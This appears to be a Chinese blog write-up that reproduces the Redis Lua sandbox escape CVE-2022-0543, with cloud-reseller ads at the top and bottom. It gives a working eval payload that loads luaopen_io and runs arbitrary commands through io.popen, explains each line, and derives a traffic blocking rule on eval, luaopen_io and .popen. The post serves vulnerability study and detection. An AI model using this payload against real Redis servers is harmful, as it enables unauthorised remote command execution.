Redis沙盒逃逸漏洞(CVE-2022-0543)复现以及流量特征分析

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

Redis简介

Redis Labs Redis是美国Redis Labs公司的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值Key-Value存储数据库并提供多种语言的API。

漏洞介绍

Redis 存在代码注入漏洞攻击者可利用该漏洞远程执行代码。
Debian以及Ubuntu发行版的源在打包Redis时不慎在Lua沙箱中遗留了一个对象package攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数进而逃逸沙箱执行任意命令。

影响版本

2.2 <= redis < 5.0.13

2.2 <= redis < 6.0.15

2.2 <= redis < 6.2.5

漏洞复现

复现条件: redis版本符合上述版本并且可以成功登录redis类似redis未授权访问

靶机开启redis服务
攻击机远程连接redis执行payload

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0

此处whoami为任意系统命令可更改
在这里插入图片描述

原理以及流量特征分析

因为Debian以及Ubuntu发行版的源在打包Redis时不慎在Lua沙箱中遗留了一个对象package

攻击者可通过package中的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0中的函数luaopen_ioLua中执行这个导出函数即可获得io库再使用其执行命令。

即可编辑脚本内容为

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("whoami", "r");
local res = f:read("*a");
f:close();
return res

脚本内容解析为

1.通过loadlib函数加载动态连接库中的luaopen_io函数并赋给io_l
2.执行io_l()获取io库
3.通过io库中的popen来执行命令并把执行结果返回赋给f
4.读取f中命令执行的结果内容
5.关闭f
6.将读取的结果内容返回

连接上redis后通过eval函数来执行上述脚本即为payload的构成

流量特征分析

通过wireshack抓包可看到为tcp流量

在这里插入图片描述
并且数据包中含有漏洞payload的全部内容这样拦截规则就很好编写了

1.eval因为脚本内容必须通过eval来执行
2.luaopen_io因为此攻击必须通过执行luaopen_io函数来获取io
3..popen恶意命令必须通过io库中的popen函数来执行为什么拦截规则不是io.popen因为io仅是一个对象名称是可自定义的

综合上述拦截规则为

tcp流量中同时产生关键字evalluaopen_io.popen时进行拦截
在这里插入图片描述

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6
标签: redis